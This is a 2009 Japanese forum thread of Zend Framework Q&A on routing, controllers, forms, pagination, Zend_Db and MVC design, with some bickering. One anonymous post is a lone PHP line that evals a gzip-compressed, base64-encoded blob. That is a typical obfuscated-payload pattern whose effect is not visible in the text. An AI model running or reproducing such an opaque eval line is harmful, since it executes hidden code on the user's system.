Zend Studio Serverはなくなったんでしょうか? 04WebServerとの組み合わせで使用していました。 今出ているZend Server?を試してみましたが、Apache前提みたいです。
240 :
nobodyさん :2009/06/18(木) 20:04:08 ID:5iF8/wzr
最近zendfw始めたんですが、imgフォルダとかcssフォルダはどこに置いてどう管理したら良いんですか? 普通にdocumentroot以下に置いて、phtmlには src="/img/hoge.gif"とかすべき?
>>240 管理し辛いとか、認証をかけたいとか、特別な理由が無い限りはそうなるかと。
>>240 documentroot以下は同じだが、
俺も最初はそのsrc=のように絶対指定していたのだけど、
<base href="
http://www.example.com/..../ " />
ってして、相対指定にした。
でないと、開発環境と本番環境の相違を吸収しにくい。
baseタグなんてそれまで使ったことなかったから、すっかり忘れていたわ。
>>241 ,242
ありがとうございます
>>242 そのbaseタグ使う方法良さそうですね
もしくは基準のパスを定数でもたせるのも変更時便利かもしれない
ありがとうございました
244 :
nobodyさん :2009/06/19(金) 11:55:12 ID:DHeb1GYG
ValidatorのStringLengthって文字数じゃないのね UTF8だと日本語が思いっきり3でカウントされる
エンコード設定すれば?
www.hoge.com/にあるリンクタグが<a href="/sample">リンク</a>ってなってるとき、 これはsampleコントローラ中のindexアクションを実行するわけで、 そのときブラウザのURL欄は www.hoge.com/sampleになるわけですよね? どういうわけか、クリックしても www.hoge.com/に戻って来てしまいます。 どんな原因が考えられますか? なお、sampleコントローラ中のindexアクションには、こういう結果を出すリダイレクト処理は 書いてありません。(単純に、helloを表示するだけです) www.hoge.com/の.htaccessは RewriteEngine on RewriteBase / RewriteRule !\.(js|ico|gif|jpg|png|css)$ index.php です 何が原因でしょうか、情報不足かもしれないですが、よろしくお願いします
247 :
nobodyさん :2009/06/20(土) 13:17:33 ID:sayu7hyr
しまった、、あげさせてもらいます すみません
248 :
246 :2009/06/20(土) 13:56:55 ID:sayu7hyr
今確認したところ、indexコントーローラ中のhogeアクションは実行できます → www.hoge.com/index/hoge/ は表示する 別のアクションコントローラを表示できないようです なぜだろう。。
/sample/index でアクセスした場合はどう?
250 :
246 :2009/06/20(土) 18:03:33 ID:sayu7hyr
>>249 ご回答ありがとうございます
試してみましたがダメでした。以下変でしょうか?
SampleControllerの中身は
<?php
require_once 'Zend/Controller/Action.php';
class IndexController extends Zend_Controller_Action{
public $aisatsu = "hehehe";
public function init(){ //通常のクラスの __construct()に該当します
echo "これはsampleです";
}
public function indexAction(){
$this->view->result = $this->aisatsu;
} //不要な場合は、メソッドの中は空でも構いません
}
view用ファイルは
views/scripts/sample/index.phtmlがあります
クラス名がIndexControllerになってるけどもw
252 :
246 :2009/06/20(土) 18:15:23 ID:???
>>251 うああああああ!!
大変失礼しました!できた、感動した!
Smarty組み込んで利用してるんだけど、{foreach}が使えない。そういうもん?
256 :
nobodyさん :2009/06/23(火) 17:52:02 ID:fbX2StFR
質問です、以下のコードをindexController.phpで実行すると 「自動転送がループしています」と出ます <?php require_once 'Zend/Controller/Action.php'; require_once 'Zend/Config/Ini.php'; $config = new Zend_Config_Ini('config.ini',null); class IndexController extends Zend_Controller_Action{ public function init(){ //通常のクラスの __construct()に相当 // $dbConnect = new dbConnect(); } public function indexAction(){ $this->view->result = $this->aisatsu; } } require_once('Zend/Config/Ini.php');と$config = new Zend_Config_Ini('config.ini',null);を コメントアウトすれば動いてviewの表示まで行ってくれるんですが、なぜ上記の2行が 問題なのかがわかりません。 apacheのエラーログには何も出ません。すみませんがアドバイスお願いします。 ZFWは1.83、apacheは2、phpは5.2.6、OSはcentOS5.3です
257 :
nobodyさん :2009/06/23(火) 22:49:32 ID:U9kBq3jC
異なったコントローラで同一のZend_Formを持ち回りたいんだけど何か良い方法ありませんか? Bootstrapに入れるのは何か違う気がして、、
ZendRegistryは?
259 :
nobodyさん :2009/06/23(火) 23:19:57 ID:U9kBq3jC
レジストリに入れるのもブートストラップ的なところに記述する感じになるのがちょっと 他のコントローラの関数を参照する関数があればいいんですが IndexControllerから TestController::getForm()を参照したいです
260 :
256 :2009/06/23(火) 23:33:48 ID:fbX2StFR
256ですが、どういう問題か教えてもらえないでしょうか? ZendFW以前の問題で話になんね、って感じなんでしょうか? それならそれで、ご指摘いただけると有り難いです。 一方的にすみませんがよろしくお願いします
>>260 そのコードだけじゃ情報が足りなさすぎる。
config中にルータの設定とか書いて無い?
一度config.iniを空っぽにして試してみれ。
262 :
256 :2009/06/24(水) 03:05:26 ID:lk5E+v4f
>>261 ありがとうございます。config.iniが原因とは思いませんでした
なかで、データベース接続情報を書いていたんですが、
パスワードに ! を含んでいて、これが原因だったようです(消したら動きました)
!は使えないってことでしょうか、とりあえずPW変更して対応します。。
>>259 なら、static関数にすればええがな。
265 :
nobodyさん :2009/06/27(土) 11:34:29 ID:LkjCp9rV
Zend_AuthのマスタにXMLって使えないの?
266 :
nobodyさん :2009/06/27(土) 19:24:02 ID:62AeSP23
viewのテンプレートをクライアントにFTPで直接アップできるようにしてるんですが、 関数は使えないようにしたいと思います。 なんか良い方法ないですか?
zend_dojoを使って作成したボタンの幅を変更ってできる?
269 :
nobodyさん :2009/06/29(月) 14:28:17 ID:dN5c2Pu7
CSS使えば良いんとちゃいますのん?
echo $this->button( 'foo', '', array( 'label' => 'bar', 'style' => 'width:150px', ) ); こんな感じで幅を指定できないかなと思ったのですが、できません?
Zend_Dojoを使う利点ってあるのか?
別に
Controller側からJavaScript操作するってのが、よくわからん。 普通に書けばええがな。
>>265 Adapterを作ればOK。
>>266 Zend_Viewでは実質不可能。
Smartyなりのテンプレートエンジンの導入を。
275 :
nobodyさん :2009/06/30(火) 10:36:03 ID:AIJgPj0k
皆さんSMARTYと併用してる?
Zend_Log_Writer_Dbでログを保存したいんだが、日付をdateフィールドに保存したい。 どうすればいい?
columnMappingでそのカラム名日付のキー名を対応させれば?
>>277 ありがとう。おかげで解決した。
logに項目追加できるってのもわかったよ。
次からはマニュアル読んでからおいで
キャッシュについて聞きたいんですが、 DBからデータを取得してきて、それをキャッシュに保存したりしますよね? ページング処理にZend_Paginaterを使ってるんですけど、そのpaginaterオブジェクトも キャッシュとして保存するものですか? 普通はどうしてるんでしょう?
DBへの問い合わせ結果をキャッシュするのが粒度的に使いやすいと思う 大抵、ボトルネックになるのはDBだし Webはスケールアウトすればいいじゃん、的な
横レスだけど、やっぱその場合って更新頻度の低い マスターとかになるんですかね?
口コミサイト作りたいです どうすればいいですか?
Zend_Db_Rowsetの$rowset->count()使ってるけど、これって 全データを配列にぶっこんでから、カウントしてくれるだけだよね? こういうのってPHPのパフォーマンス的にどうなの? ちゃんと、count(*)関数使ったSQLで取得した方が良いの?
ZFは開発効率重視だから そういうアホみたいな処理が多い
>>285 自分はcount(*)で取得してる。
パフォーマンスは比べるまでもなく、じゃね?(実測した訳じゃないけど)
全データ、配列ってことはないよ。 結果セットからrowcountとってるから、count以外に使う必要があるようなモデルであれば Zend_Db_Rowsetで問題なし。 もし、countだけ欲しければ、count(*)でいい。
↑すまん。忘れて
290 :
nobodyさん :2009/07/05(日) 22:33:37 ID:jApqmo0w
ルーターでコントローラでなく画像ファイルを 指定したいんですがなにか方法はありますか?
それはZFの管理外にしちゃった方がいいんじゃない?
俺は拡張子というかサフィックスのないリクエストだけ mod_rewriteの対象にしてるなぁ
293 :
nobodyさん :2009/07/06(月) 06:57:58 ID:AIqh19Fa
>>291 >>292 ドキュメントルート上にないファイルなので困っています。
なければコントローラ経由で出力します
ん? ドキュメントルート上になくても、mod_rewriteでもAliasでもいいやん
そうでなきゃ、Zendのルートで画像指定じゃなくて 画像を送出するコントローラーを書けばいい。
View側でframeつかえますか? どうしても画面を分割したいのですが・・・ 普通できますよね?
297 :
nobodyさん :2009/07/06(月) 14:53:10 ID:Ixa1CqYv
そりゃ使えるでしょ、やったことないけど その場合はコントローラが3つになるんだろね
Action三つ or パラメータでViewScriptを変えるだけで対応出来るのでは。
わざわざ使い肉いフレーム分割なんてやめろ 考えなおせ
まったくだ。考え直せ。
SEO不必要な管理画面系は、場合によってはフレーム分割も有りだと思う俺は異端児なの?
レイアウトで共通化できるのに、フレームワーク使う意味がわからん。
フレームワークなのにフレーム使えないのかよというダジャレの悪寒
>>302 まずはフレームとフレームワークの区別をつけような、坊や。
viewの持つ変数をview helperから使う事はできますか? また、できる場合、どう参照すればよろしいでしょうか?
自己解決しました。 $this->view->foo;
307 :
nobodyさん :2009/07/07(火) 20:55:21 ID:dsERj2eF
User Paramの指定方法ですが、 example.com/controller/action/name/value ではなくaction == indexとして省略して example.com/controller/name/value のように指定する方法はありますか? 後者だとnameActionを探しに行ってしまいます
309 :
nobodyさん :2009/07/08(水) 23:27:36 ID:5XpF0jdH
現在のコントローラから他のコントローラの関数(アクションではない)を実行する方法ってありますか? _forwardのようにそのアクションを呼び出すのではなく、関数の返り値が欲しいです。
require して new して 呼び出せばいいんでない?
311 :
nobodyさん :2009/07/09(木) 00:12:48 ID:JLJTWxg2
なんかメソッドがあればよかったんですがないようですね
作ればいいんでね?
>>309 ビューヘルパーのaction使えばできるんじゃね?
で、デレツン行っていいかな。
コントローラーからコントローラーを直接呼ぶとか、
ビューからコントローラー呼ぶとか、キモイこと考えんなやw
コントローラーを呼ぶときはdispatcherとリクエスト使いましょう。
てかさ、コントローラではどのビューとモデルを使うか決めて処理を移すようにしないと 無駄に太り見通しが悪くなって苦労するよね、今の俺みたいに(´・ω・`) ついつい、このコントローラ共通の処理だからと、アクションじゃないメソッドを増やしちゃうが...
俺も似たような感じだなぁ 最近、やっとわかってきたけど。
316 :
nobodyさん :2009/07/10(金) 18:44:08 ID:xlLyB0Yi
>>313 SearchActionなんてのにZend_Formを返すgetForm()なんてのがあるとします。
IndexControllerからそのフォームをトップページで表示したい場合はどうすれば良いんですか?
何かおかしいこと言ってますか?
317 :
316 :2009/07/10(金) 18:45:31 ID:xlLyB0Yi
SearchActionではなくSearchControllerです。
SearchControllerにgetFormメソッドがあるってこと? だったらそれがそもそもおかしい。
>>316 BaseControllerに実装するか、ヘルパーにするか、切り出して別途ライブラリにすれ。
>>316 ZFだと、formsっていうところにモジュール別のフォームを集めておくのがデフォ。
IndexControllerで検索フォームを使いたいなら、IndexControllerのgetFormで、
それをインスタンス化するという簡易的な手もある。
getForm('search')とか。まぁ、しかしそりゃ汚くなる。
ヘルパーかプラグインリソース(Zend_Application)にするところだろうな。
321 :
316 :2009/07/10(金) 23:25:57 ID:xlLyB0Yi
>>318 何がおかしいんでしょうか。
xxActionしか内部に作っちゃいけないなんて言う制約ありません。use-at-willです。
codezineだかのサンプルにもそういった実装がありました。
>>319 helperですか。。
ちょっと考えてみます。
>>320 formsのあたりをもう少し詳しくお聞きしたいです。
static functionとしてgetForm()を定義することも考えましたが、
$thisを使いたい場面もあり、それはあきらめました。
Zend_Applicationで大半のことはやっていますが、
使わないコントローラに対してもフォーム分のメモリを確保するのはどうかなぁと思ってしまいます。
ある程度の規模のサーバーで運用していますが、ZF自体が膨大ですのでできるだけいらない処理は省きたいのです。
>>321 コントローラに実装しなきゃいいだろ
お前は何を言ってるんだ
>>321 >xxActionしか内部に作っちゃいけないなんて言う制約ありません。use-at-willです。
制約ではなく、設計を指摘してるのでしょう。
他から参照されるメソッドをSearchControllerに定義する事自体がおかしい、と。
324 :
316 :2009/07/10(金) 23:46:24 ID:xlLyB0Yi
>>322 ならそう書いてください。
2行目は余計です。
>>323 検索の主体(フォーム出力、検索実行)がSearchControllerにあるのでその中で実装するのが自然かなと思ったんですが、
他のコントローラで参照することを考えれば分けた方が良いかもしれませんね。
もしくは出力されるフォームのHTMLだけを直接Viewに書いちゃうかどっちかですかね。
うざ・・
>>324 > 検索の主体(フォーム出力、検索実行)がSearchControllerにあるのでその中で実装するのが自然かなと思ったんですが、
全然自然じゃない。
> 他のコントローラで参照することを考えれば分けた方が良いかもしれませんね。
他のコントローラから参照されることがなくても自然じゃない。
> もしくは出力されるフォームのHTMLだけを直接Viewに書いちゃうかどっちかですかね。
「どっちか」って「フォームHTMLだけViewに」とどれ?
ZFって一応MVCモデルのフレームワークってことなんだけどね。
自由度が高そうに見えるけど実際にはZendが想定してる使い方があって、 結局それ念頭に作られていてこの後も拡張されて行くから 自分で解釈を考えるよりも元々のZendの意図をくみ取る方が重要だったりする なので迷ったら本家MLのログ検索で良い例題を探してみて、あれば真似する、 というアプローチがよいと思う。出来たてなFWだから野良の情報はけっこう微妙
> 検索の主体(フォーム出力、検索実行)がSearchControllerにあるのでその中で実装するのが自然かなと思ったんですが、 全然自然じゃないわ
>>327 ZFは各コンポーネント間の依存関係を薄めて、好きなモノを好きに使ってくれって思想もあったはず。
良くも悪くもRoR系FWと比べると書き方に規制が無いから、ベストプラクティスを導き出すのが難しいんだよね。
日本ユーザがもう少し盛り上がれば色々広がりそうなんだけどねぇ。
>>328 「行数」ではなくて「行あたりの文字数」なw
行数は明確に規定ないよ。
>>330 失礼
The maximum length of any line of PHP code is 120 characters.
って書いてるね。余計なこと書いちゃったなぁw。
332 :
316 :2009/07/11(土) 07:33:19 ID:IIRizAp5
>>326 >>329 参照返信されるのはいいですが否定するだけでなく意見を下さい。
あなた方にとってどう実装するのが自然な方法なんですか?
どっちかというのはHTMLをインデックスのビュースクリプトに直接記述する方法と
あなた方が提案しない自然な方法のどちらかと言うことです。
>>327 >>330 作る側にとったら悩むところですね。
私はできれば推奨と呼ばれるような書き方をしたい派なのです。
もっとユーザが増えればですね。
フレームワークは使うモノであって、使われるモノでは無い。
>>316 のやりたい事を実装する方法は多々あるし、自由に実装すればいいんじゃない?
本人が良いのであれば、SearchControllerに実装したって全然かまわない。
好きに実装していいけど、正直な感想かかれて切れるんなら別のところで聞いたほうがいいな。 おれは、SearchControllerにgetForm実装するかどうかは別として、 別のコントローラーに処理を回したいケースはある。 おれなら、IndexControllerから直接呼ぶんじゃなく、 ActionStackにSearchControllerをセットして プレースフォルダにコンテンツを投入させてレイアウトで処理する。
>>332 だから、全然自然じゃないし、推奨と呼ばれるにはほど遠い書き方なんだよ。
書き方以前に、あなたにはコペルニクス的転回が必要なんじゃね。
>>316 「何かおかしいこと言ってますか?」
これが全て。根底から考え直さないと、ここで今の問題の回避方法を聞いても、
次にまたぶつかる。
337 :
nobodyさん :2009/07/11(土) 16:05:55 ID:Vd43NPnH
質問、初心者です 学校の生徒と先生の自己紹介アプリみたいなの作るとして、とりあえず StudentControllerとTeachearControllerつくって、それぞれに「趣味」を出力する機能があるとします この場合、趣味のDB問い合わせ+引き出し処理は独立したメソッドに持たせて、 それを上記Controller中のhobbyActionからそれぞれ実行させれば良いんですよね?
>>337 hobbyActionは共通だから、まずIntroductionControllerを作ってこちらに実装。
生徒と先生とで違う部分だけIntroductionControllerから派生させて作る。
introduction/hobby でアクセスさせるか、(student|teachear)/hobby にするかは他との兼ね合い。
両方可能でもいいし。
DB問い合わせとかは別クラスを作る。
hobbyActionには、せいぜい getDB()->getHobby();程度で趣味を取り出せるようになっているのがいいな。
339 :
nobodyさん :2009/07/11(土) 16:45:27 ID:Vd43NPnH
>>338 ありがとうございました、なるほどー
getDB()->getHobby();ってありますが、これはつまり
DBアクセスのクラスを独立させて、生徒・教師問わず情報引き出し処理を
その中のメソッドとしてもたせるってことですよね?
DBアクセスのクラスはどっちのユーザーにも共有ってことで、、
それだと、スケジューラ機能を持たせて、
$uType = "student";
$uName = "山田";
$eventDay = "2009/7/11";
getDB($uType,$uName)->getSchedule($eventDay);
として、「生徒の山田さんの2009/7/11のスケジュール」を呼び出す処理を作る
みたいなことも出来るんでしょうか?
>>339 > DBアクセスのクラスはどっちのユーザーにも共有ってことで、、
共有と言うより共通かな。
先生と生徒でDBが多少違っていても同じインターフェースが実装されていればいいってことで。
> getDB($uType,$uName)->getSchedule($eventDay);
それでもいい。
Userクラスを作ってDB接続はUserオブジェクト内に持たせるのもありだと思う。
preDispatchあたりで
$user = new User(getDB($uType));
$user->setNmae($uName);//コンストラクタの引数で渡してもいい
scheduleActionで
$this->user->getSchedule($eventDay);
hobbyActionで
$this->user->getHobby();
preDispatchの$userは$this->userの間違いでした。
>>340 なるほど、大体理解できました
トライしてみます。ありがとう!
initじゃだめなの?
>>343 initとpreDispatchの使い分けでググるといろいろ出てくるけど、
俺的にはアクションやリクエストクエリで違いが出てきそうなのはpreDispatchかな。
DB接続(の用意)とかはinitに書くこともあるけど、どのみちシングルトンだし、
ファクトリーメソッドなどを多用するから、Zend_Controller_Actionから派生させた
そのアプリのベースとなるMyApp_Controller_Actionで使う程度かな。> init
>>344 なるほど。
ちなみにZend_Applicationはつかってますか?
>>345 使っていません。
不要と判断した訳じゃなくて、ただ単に使ったことないだけです。
347 :
nobodyさん :2009/07/13(月) 15:41:33 ID:sINZz9CU
Zend_ValidateのStringLengthでロケールを考慮しないで文字数を検証する方法はありますか? iconv_strlen()で文字数を数えているようですが、strlen()の返り値で検証して欲しいです。
その程度なら調べるより自分で実装する方が早くね?
User用のフォームだから他では確実に使わないってことなんじゃないの
コントローラーにgetFormがあるのは設計的にも問題ない。 ただ、他のコントローラーから呼べるようにというのは、ZF的MVCではない。
使いまわしたいなら各コントローラの親クラスで実装しとけばいいんじゃね?
普通はモジュール単位で基底コントローラ作るよな?
あんまり無駄なファイルは作りたくない人とかもいるやん?
親クラスや基底コントローラが無駄って事じゃないよな?
親のクラスとなすびの花は
じゃ1ファイルの中に10クラスくらい入れときゃいいじゃん
Zend_Loggerのインスタンスをグローバル変数として運用したいのですが、 どこで宣言するのが適正でしょうか? index.php?
>>359 お、なるほど。確かに一つだけインスタンスがあれば良いですもんね。
アドバイスありがとうございました。
俺ならDIにして注入する
俺ならAIにしてチュウチュウする
みなさんにしかられると思いますが、質問させてください javascriptを利用してinnnerHTMLで作成したbuttonに onclick="{$変数}"を実現させたいのですが、当然javascriptでは中括弧{}は読めないのでエラーが出ます どうにかならないですか? お願いします
onclick="abc({$変数})" 正しくはこんな感じです ボタンを押すとabcという関数を実行する というものです innerHTMLをやめればいいんですけど、仕様を満たすにはこれしかないので・・・ はっきりいってカスプログラムですが、どうにかお願いします
曖昧すぎて答えられない。 そのテンプレートは何で書いてるの? 中括弧は何故必要なの? 出力されたHTMLの中身はどうなってるの? どんなエラーが出るの?
ZF関係あんの?
ヴァカなの?スィヌの?
innerHTMLって開始タグと終了タグ間のHTMLの操作じゃないの?
Zend_Config_Writer_Ini::write()の返り値がvoidなのがきにくわん
例外投げてくれるんだからいいじゃん
僕はbooleanちゃんが好きなんだい
Zend_Configにget()はあるのにset()は無いのは何か理由があるんでしょうか?
373 :
nobodyさん :2009/07/16(木) 17:26:18 ID:UYFo7ptK
Zend_Db_Table::find()の返り値について質問です。 hash(string), path(string), status(int)のSQLiteデータベースがあります。 hashが主キーで、find(hash)->count()の結果は1なのですが、 find(hash)->path find(hash)->status のようなアクセスをしても値が帰ってきません。 値はGUIから格納されているのを確認しました。 アクセス方法を間違えているのでしょうか?
>>373 つfind(hash)->current()->path
違ってたらスマソ。
デファクトには到底なれそうにないFWだよねw
ZFの対象ユーザーってPHPユーザーのごく一部の変態だけ
377 :
nobodyさん :2009/07/18(土) 13:20:40 ID:Xz5Y6CrM
いきなり1.9.0までとぶからパッチ出したのか。 2.0.0移行はPHP 5.3以降要求されそうで怖い。
良くも悪くも細かい仕様変更やマイナーバージョンアップが多すぎて、 書籍リソースが全く役に立たないよなw 導入しても、手になじむ前に最新版がリリース>検証作業のループ。
Webアプリを書籍で学ぶのがそもそも間違ってるような
380 :
nobodyさん :2009/07/18(土) 15:52:33 ID:Xz5Y6CrM
Zend_Application Zend_Form 上記2点は使えるけど、上は新しいから解説サイトがあんまり無い
Applicationに関してはマニュアルも翻訳終わってないから 使い方あってるのかわからない
誰かが翻訳するしかないな。 他力本願で申し訳ないけど。
>>382 なんで?
英語のドキュメントがあるじゃん。
>>383 . / ̄ヽ
| あ |
. 、| あ |)\
| そ | ヽ /|
| う .| .l/ |
| : / |
`∨,、 ∧ ,、/___
∧/-∨ ∨-ヽ /
l´l| ≡ / ≡ |、/
ヽ゛ 〉 |'ノ
>`ll _ /
`\.|\ `'´ /
,---| `ー-'|_
 ̄ ``- -‐'-'ヽ
_ 〉、
``丶、__/ ``丶、._
●
ソースがあれば(ry
>>383 I think Jap's language is a local language in small islands of Far Eest.
You should use to read and write with public languages of UN! :-p
>>375 Japanese Mobile phones isolates from defact standards too far,
So, Zend Framework core contributers no consider of them.
ZFでモバイルサイトは無理だろうなぁ てか、ドキュモのimodeIDって、/controller/action/guid=ON/args みたいなURLでも効くんだろうか
389 :
nobodyさん :2009/07/18(土) 23:25:10 ID:Xz5Y6CrM
Pro Zenderの方に問題です /test/test にアクセスするとどうなるでしょうか class TestController extends Zend_Controller_Action { public function indexAction() { $this->_redirect(?/?); } public function testAction() { $this->_forward(?index?); } }
390 :
nobodyさん :2009/07/18(土) 23:27:00 ID:Xz5Y6CrM
? は " です。
>>387 not 'defact' but 'defacto'
>phones isolates >contributers この辺にも注目 >no consider これは論外
おまえらなんて、この程度の存在だろ。 √ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄| | ΩΩ_ | | ( ・ rt) =3 | | / ; / | |ー-‐ー-‐ー/‐ ,/ -‐ー-‐ー-‐ー-‐| | r-、___/, :/ 。゚o | | L「: ・ ; ̄`カ 8 。 | 「|‐ー-‐ー-‐ー-| L_・ ¨∵∴_」 |‐ー-‐ー-‐ー-「| | | | | |「| ̄|,兀| (ヽ○ノ`〉 | | | | | | | || | | || | > f | | | | | | | || | | || | (_/ヽ_,〉 | | | | | | | || | | || | | | | | | 」 | || | | || | L | | | |________,[,]!、!_Li、」_______________| | └――――――――――――――――――――――――――-┘
395 :
nobodyさん :2009/07/19(日) 14:23:04 ID:YJV33QJ2
Zend_Paginatorで$_GETでページ数を渡したいんですが、どのように設定すればいいのでしょうか
_getParam("page")で取ってきて渡せばいい。。
397 :
nobodyさん :2009/07/19(日) 16:15:41 ID:YJV33QJ2
すんません、自動生成されるリンクの話です デフォだと/page/1みたいなリンクが生成されちゃいます
1の所に渡したいページ番号を入れてリクエスト出せば?
399 :
nobodyさん :2009/07/19(日) 18:36:34 ID:YJV33QJ2
>>398 ?
使ったことあれば分かると思いますが、UserParam形式で生成されるページ番号を$_GET方式に変更したいってことです。
PEAR::PagerにあるようなurlVarやextraVarなどみたいな機能はないのでしょうか。
じゃソース見れば?
401 :
nobodyさん :2009/07/19(日) 19:10:28 ID:YJV33QJ2
>>400 使ったことが無くて分からないのであればもう良いです。
そうですか。乙
うぜぇ…
404 :
nobodyさん :2009/07/19(日) 21:17:14 ID:YJV33QJ2
>>403 分からないのに解答してこられると迷惑ですよね。
エンドレスエイトの見過ぎで、ここでも既視感が...。 getCurrentPageNumber()とかかな? そこまで絞ってんだからソース見た方が早いよ。
あ、getCurrentPageNumber() は全然的外れだね。 忘れてくれ。
ん?GETルーターを使うだけじゃないの?
リンクはテンプレートのURL出力部分を ?page=1 みたいに直すだけでなくて? 受け取る方は $paginator->setCurrentPageNumber($page) で設定できるね
409 :
nobodyさん :2009/07/24(金) 22:36:50 ID:Q241rgzl
メールアドレスの検証クラス作ってみた。 Zend_Validate_Abstractクラス継承してます。 翻訳用定数はこれ CheckUser::NOT_EXISTS CheckUser::INVALID_TO つかいかた $check = new CheckUser(fqdn, from); $check->isValid(checkaddress); fqdnにはSPFレコード設定してあるホスト fromには相手方に通知されるアドレス checkaddressには確認したいアドレス ソースはこれ
Zend_Validate_EmailAddressが既にあるじゃん
Zend_Validate_EmailAddress ってなんか無駄に色んな検証するのが嫌よね
412 :
nobodyさん :2009/07/25(土) 13:57:29 ID:beK3GgFm
>>410-411 あー生死判定ってことです。
メールアドレスの部分はZend_Validate_EmailAddressで判定しています
わざわざ送ってダエモンで判定するよりかは効率良いです。
それ、どこかで公開してるの?
414 :
nobodyさん :2009/07/25(土) 18:58:39 ID:beK3GgFm
>>413 いえ、つくってみたんです。
CPANのCheckUserを参考にしました。
で、それ、どこかで公開してるの?(君が)
単発で送るんならいいけど、まとめて送るときは累積でかなりリソース食いそうね ドキュモとかの携帯キャリアにも有効なの?それ
417 :
nobodyさん :2009/07/25(土) 23:04:57 ID:beK3GgFm
>>416 一応ドコモとあうは試しました。
あんまり大量にコネクション張るとバンされると思うので数はこなしてませんが、うまくいってました。
使い道がないので処分しようかと思ってたんですが、何か面白い使い方ありますか?
Hello Worldにケが生えたようなものに、面白い使い方なんてないでしょ。 ZF関係ないし
419 :
nobodyさん :2009/07/26(日) 10:18:02 ID:8CFJRVQz
まぁHello Worldと同系列で考えるような人には使い方なんて思いつかないと思います。 Zend_Validate_Abstract継承クラスでZF関係ないとかいえちゃう発言もすばらしいです。
てかそれZend_Validateと同系列に扱っちゃダメじゃない? 入力内容の文字列検証と、重くても Db_RecordExists 程度なのに、 Validateのたびに通信が発生するようなメソッドを同じレベルに持ってくるのは相当怖い。 プログラマが全員理解できてればいいけど、リスクが高いメソッドとそうでないものを一緒くたにするのは不味い。 それこそモバイルならキャリアにブロックされる率が上がるだろうし。
>>419 でっかい釣り針下げてないで、
419さんが、使い方を提示すればいいんじゃないの?
継承しただけで、ZF関係があるとは俺も思わないよ。
俺はスレチとは思わん
<?php eval(gzinflate(base64_decode('s7ezsS/IKFBILUvM0UivysxLy0ksSdVQ37x980b9ExoBF65z+fteDDTYFPJB62yggZHBhhADgw1GBluNDAMvmG0wMbhwaXu7xtMgDY1TZ7QvBgR89zh78mQ4x3n9U56BLIylvtmtU86E8DIr8IauYWBQ19S0todaCAA=')));
Zend_Db_TableのlastInsertId()メソッドってmysqlだと使えない?
>>425 即レスthx
そしてサーセン。単にcommitした後に取得しようとしてて取得できないだけでした。
こんなところでハマるなんて…orz
Zend_Formでtextのあとに文字をおきたいのですがどうすればよいでしょうか? 期待は以下のようなソースです。 <input type="text"(略)> 回 よろしくお願いします。
それぞれ属性設定するメソッドがあるっしょ
属性じゃなくて、フォーム要素の後ろに、「回」って入れたいってことじゃない? いくつか方法があるけど、 下記のデコレータのいずれかを使う Description ViewScript Callback 一番簡単なのは、Descriptionかな。
>>429 ありがとうございます。
DescriptionはsetDescription()で使用する場合のデコレータですよね。
>>427 のように利用する場合はDlDtWrapperあたりもいじらないといけないのでしょうか?
考え方次第だけどね。 "回"みたいな[単位]はビューによる修飾なのか、要素の属性の一つと考えるのか。 他に、年、月、日とか、いろいろバリエーションがありえる。 ビューによる修飾と考えれば、個別に設定しやすいのかもしれないけど、 要素のプロパティとして単位=回みたいな与え方をして、単位デコレータを 作るのが自然と、俺は妄想する。 その動作に一番近いのは、(set|get)Description かなって気はする。 DtDdWrapperってタグの細工だけだし。 ViewScriptってことは、"回"を表示要件にしか使わないってことだし。
432 :
nobodyさん :2009/08/02(日) 11:14:40 ID:EDsu2ooY
モジュール構成にする時って .phtmlの置き場所は user(モジュールディレクトリ)/views/script/index(アクション名)/index.phtmlって配置になるんですか? 一応本読んではいるんですが、いまいちわかりません。よろしくお願いします
[モジュールディレクトリ]/views/scripts/[コントローラー名]/[アクション名].phtml じゃないか?
日本語版のマニュアル見れない。 どういう事?
英語版しか公開されなくなったようだね
吉田さんガンバー
公式みれねー
>>433 どうもありがとう、返事遅れてすいません
ばっちり動きました
439 :
nobodyさん :2009/08/03(月) 10:18:56 ID:AZ05ifRx
# cd C:\xampp\php # pear channel-discover zend.googlecode.com/svn # pear install zend/zend でインストールは出来たんだけど、 なぜかC:\xampp\php\PEAR\Zend\Locale/Data/ に言語関係のXMLファイルがインストールされてなかった 手動でコピペすれば動くようにはなったけど、インストーラのバグかなんかですかね?
xamppかよ
hoge.jp/profile/id/100 で100番の人のプロフィールが見れるzendFWのサイトがあるとして、 URL的には hoge.jp/100/profile/ で同じことが出来るように変更したいと思います どうしたら良いでしょうか?
444 :
nobodyさん :2009/08/03(月) 23:54:34 ID:FSbwgNFK
>>443 どうもありがとう、助かりました
もう一つ質問です、スケジューラーみたいなアプリがあって
自己紹介、今週の予定、その他2,3ページで構成されてるとします
で、「山田太郎さん」というその利用者の名前が各ページの見出しになってるとします。
こういう場合、山田太郎さんという利用者名をいちいち「パラメータから解析、クエリ、取得」なんて
全てのページでやるのは非効率ですよね? こういう場合、どうやって引き回すんですか?
if($paramUserId == $_SESSION['userId']){//以下のクエリなどを省略} みたいに単純にセッションで管理するのか、
それとも、こういう時に便利なzendFWのライブラリってありますか?
zendCache?とかってこういう時につかうのですか?
クエリ投げるのが嫌ならZend_Sessionでも
公式まだ死んでるぞ
あーやっぱ公式しんでるんだ。俺だけかとオモタ
centosみたいになったらやだなぁ・・・
>>445 ありがとうございます
ほんとだ、公式開けないね。zend_session調べようと思ったのに
どうなってんだよ!公式!!!
OpenID2.0、まだ対応されませんね。 みんなPHP OpenID Libraryとか使ってるのかな?
>>451 OpenID LibraryをZend_Auth_Adapter_Interfaceでカプセルして使ってる
一度つくっちゃえば特に不満ないよ
日本のZend Frameworkは、糸冬ですか?
なんでやねんノシ
456 :
nobodyさん :2009/08/05(水) 13:00:06 ID:qtFRGhoH
hoge.jp/ctrl1/act1/var1/val1、hoge.jp/ctrl2/act2/var2/val2、hoge.jp/ctrl3/act3/var3/val3 って具合に 各コントローラのアクションを実行するのに必要なパラメータと値があると思いますが、 このパラメータ値を取得するのはフロントコントローラだけですべきなんでしょうか? 感覚的にはそれぞれのコントローラのアクション中でとった方が無駄がなくていいというか、 直接的でわかりやすい気がします。 「ZendFW徹底入門」て本にはフロントコントローラで取得または設定して、個別のコントローラで $front = Zend_Controller_Front::getInstance(); $res->setBody($front->getParam('var')); ってする手順が紹介されてます。 みなさん、この手順に従ってるんですか?というか絶対なのかな。 別のやり方をする場面があれば、どういう方法とシチュエーションか教えてもらえると嬉しいです。 よろしくお願いします。
457 :
